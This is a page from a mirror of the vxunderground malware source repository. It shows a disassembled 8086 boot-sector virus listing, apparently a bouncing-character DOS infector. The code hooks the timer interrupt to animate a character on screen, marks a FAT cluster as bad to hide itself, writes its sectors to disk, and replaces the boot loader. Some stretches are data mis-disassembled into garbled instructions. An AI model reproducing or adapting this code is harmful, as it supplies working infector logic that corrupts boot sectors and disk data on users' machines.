mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
413 lines
5.2 KiB
NASM
413 lines
5.2 KiB
NASM
name boot2_asm
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.radix 16
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n_000100:
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inc word ptr [7DF3]
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mov bx,[7DF3]
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add byte ptr [7EB2],2
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call n_FFFF9D
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jmp short n_00014B
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n_000112:
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mov ax,3
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test byte ptr [7DF7],4
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je n_00011D
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inc ax
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n_00011D:
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mul si
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shr ax,1
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sub ah,byte ptr [7EB2]
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mov bx,ax
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cmp bx,1FF
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jnb n_000100
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mov dx,[bx+8000]
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test byte ptr [7DF7],4
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jne n_000145
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mov cl,4
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test si,1
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je n_000142
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shr dx,cl
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n_000142:
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and dh,0F
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n_000145:
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test dx,0FFFF
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jz n_000151
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n_00014B:
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inc si
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cmp si,di
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jbe n_000112
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ret
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n_000151:
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mov dx,0FFF7
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test byte ptr [7DF7],4
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jnz n_000168
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and dh,0F
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mov cl,4
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test si,1
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je n_000168
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shl dx,cl
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n_000168:
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or [bx+8000],dx
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mov bx,[7DF3]
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call n_FFFF98
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mov ax,si
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sub ax,2
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mov bl,byte ptr [7C0Dh]
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xor bh,bh
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mul bx
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add ax,[7DF5]
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mov si,ax
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mov bx,0
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call n_FFFF9D
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mov bx,si
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inc bx
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call n_FFFF98
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mov bx,si
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mov [7DF9],si
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push cs
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pop ax
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sub ax,20
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mov es,ax
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call n_FFFF98
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push cs
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pop ax
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sub ax,40
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mov es,ax
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mov bx,0
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call n_FFFF98
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ret
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mov ch,23
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add dh,dh
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push es
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idiv word ptr [di+2]
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jne n_0001DE
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or byte ptr [7DF7],2
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mov ax,0
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mov ds,ax
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mov ax,[20]
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mov bx,[22]
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mov [20],7EDF
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mov [22],cs
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push cs
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pop ds
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mov [7FC9],ax
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mov [7FCBh],bx
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n_0001DE:
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ret
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push ds
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push ax
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push bx
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push cx
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push dx
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push cs
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pop ds
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mov ah,0F ;Get video mode
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int 10
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mov bl,al
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cmp bx,[7FD4]
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je n_000227
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mov [7FD4],bx
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dec ah
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mov byte ptr [7FD6],ah
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mov ah,1
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cmp bl,7
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jne n_000205
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dec ah
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n_000205:
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cmp bl,4
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jnb n_00020C
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dec ah
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n_00020C:
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mov byte ptr [7FD3],ah
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mov word ptr [7FCF],101
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mov word ptr [7FD1],101
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mov ah,3 ;Read cursor position
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int 10
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push dx
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mov dx,[7FCF]
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jmp short n_00024A
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n_000227:
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mov ah,3 ;Read cursor position
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int 10
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push dx
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mov ah,2 ;Set cursor position
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mov dx,[7FCF]
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int 10
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mov ax,[7FCDh]
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cmp byte ptr [7FD3],1
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jne n_000241
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mov ax,8307
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n_000241:
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mov bl,ah
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mov cx,1
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mov ah,9 ;Write character with attribute
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int 10
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n_00024A:
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mov cx,[7FD1]
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cmp dh,0
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jne n_000258
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xor ch,0FF
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inc ch
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n_000258:
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cmp dh,18
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jne n_000262
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xor ch,0FF
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inc ch
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n_000262:
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cmp dl,0
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jne n_00026C
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xor cl,0FF
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inc cl
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n_00026C:
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cmp dl,byte ptr [7FD6]
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jne n_000277
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xor cl,0FF
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inc cl
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n_000277:
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cmp cx,[7FD1]
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jne n_000294
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mov ax,[7FCDh]
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and al,7
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cmp al,3
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jne n_00028B
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xor ch,0FF
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inc ch
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n_00028B:
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cmp al,5
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jne n_000294
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xor cl,0FF
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inc cl
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n_000294:
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add dl,cl
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add dh,ch
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mov [7FD1],cx
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mov [7FCF],dx
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mov ah,2 ;Set cursor position
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int 10
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mov ah,8 ;Read character with attribute
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int 10
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mov [7FCDh],ax
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mov bl,ah
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cmp byte ptr [7FD3],1
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jne n_0002B6
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mov bl,83
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n_0002B6:
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mov cx,1
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mov ax,907 ;Write character '\7' with attribute
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int 10
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pop dx
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mov ah,2 ;Set cursor position
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int 10
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pop dx
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pop cx
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pop bx
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pop ax
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pop ds
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jmp far ptr f_000020
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add byte ptr [bx+si],al
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add word ptr [bx+di],ax
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add word ptr [bx+di],ax
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add bh,bh
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call word ptr [bx+si-49]
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mov bh,0B7
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mov dh,40
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inc ax
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mov dh,bl
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out 5A,al
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lodsb
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shl ah,cl
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jmp far ptr f_0F05E6
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db '@d\`R@@@@db^b`'
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pop si
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jo n_000368
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inc ax
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inc cx
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mov bh,0B7
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mov bh,0B6
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jmp n_000336
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db 'IBM 3.3'
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dw 200
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db 2
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dw 1
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db 2
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dw 70
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dw 2D0
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db 0FDh
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dw 2
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dw 9
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dw 2
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dw 0
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db 0011h dup (000h)
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adc al,byte ptr [bx][si]
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add byte ptr [bx][si],al
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add byte ptr [bx][di],al
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add dl,bh
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boot2:
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xor ax,ax
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mov ss,ax
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mov sp,7C00
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push ss
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pop es
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mov bx,78
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lds si,ss:[bx]
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push ds
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push si
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push ss
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push bx
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mov di,7C2Bh
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mov cx,0Bh
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cld
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n_000351:
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lodsb
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cmp byte ptr es:[di],0
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je n_00035B
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mov al,byte ptr es:[di]
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n_00035B:
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stosb
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mov al,ah
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loop n_000351
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push es
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pop ds
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mov [bx+2],ax
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mov [bx],7C2Bh
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sti
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int 13
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jc n_0003D5
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mov al,byte ptr [7C10]
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cbw
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mul word ptr [7C16]
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add ax,[7C1C]
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add ax,[7C0E]
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mov [7C3F],ax
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mov [7C37],ax
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mov ax,20
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mul word ptr [7C11]
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mov bx,[7C0Bh]
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add ax,bx
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dec ax
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div bx
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add [7C37],ax
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mov bx,500
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mov ax,[7C3F]
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call n_000440
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mov ax,201
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call n_00045A
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jb n_0003C2
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mov di,bx
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mov cx,0Bh
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mov si,7DD6
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rep cmpsb
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jne n_0003C2
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lea di,[bx+20]
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mov si,7DE1
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mov cx,0Bh
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rep cmpsb
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je n_0003DA
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n_0003C2:
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mov si,7D77
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n_0003C5:
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call n_000432
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xor ah,ah
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int 16
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pop si
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pop ds
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pop [si]
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pop [si+2]
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int 19
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n_0003D5:
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mov si,7DC0
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jmp n_0003C5
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n_0003DA:
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mov ax,[51C]
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xor dx,dx
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div word ptr [7C0Bh]
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inc al
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mov [7C3C],al
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mov ax,[7C37]
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mov [7C3Dh],ax
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mov bx,700
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n_0003F1:
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mov ax,[7C37]
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call n_000440
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mov ax,[7C18]
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sub al,[7C3Bh]
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inc ax
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cmp [7C3C],al
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jnb n_000408
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mov al,[7C3Ch]
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n_000408:
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push ax
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call n_00045A
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pop ax
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jb n_0003D5
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sub [7C3C],al
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je n_000421
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add [7C37],ax
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mul word ptr [7C0Bh]
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add bx,ax
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jmp n_0003F1
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n_000421:
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mov ch,[7C15]
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mov dl,[7DFDh]
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mov bx,[7C3Dh]
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jmp far ptr f_000700
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n_000432:
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lodsb
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or al,al
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je n_000459
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mov ah,0E ;Write character in TTY graphics mode
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mov bx,7
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int 10
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jmp n_000432
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n_000440:
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xor dx,dx
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div word ptr [7C18]
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inc dl
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mov [7C3Bh],dl
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xor dx,dx
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div word ptr [7C1A]
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mov [7C2A],dl
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mov [7C39],ax
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n_000459:
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ret
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n_00045A:
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mov ah,2
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mov dx,[7C39]
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mov cl,6
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shl dh,cl
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or dh,[7C3Bh]
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mov cx,dx
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xchg ch,cl
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mov dl,[7DFDh]
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mov dh,[7C2A]
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int 13
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ret
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db 0Dh,0A,'Non-System disk or disk error',0Dh,0A
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db 'Replace and strike any key when ready',0Dh,0A,0
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db 0Dh,0A,'Disk Boot failure',0Dh,0A,0
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db 'IBMBIO SYS'
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db 'IBMDOS SYS'
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db 12 dup (0)
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dw 0AA55
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extrn f_000020:far,n_000336:near,n_000368:near
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extrn n_FFFF9D:near,n_FFFF98:near
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extrn f_000700:far,f_0F05E6:far,f_3FFF98:far
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extrn f_3FFF9D:far
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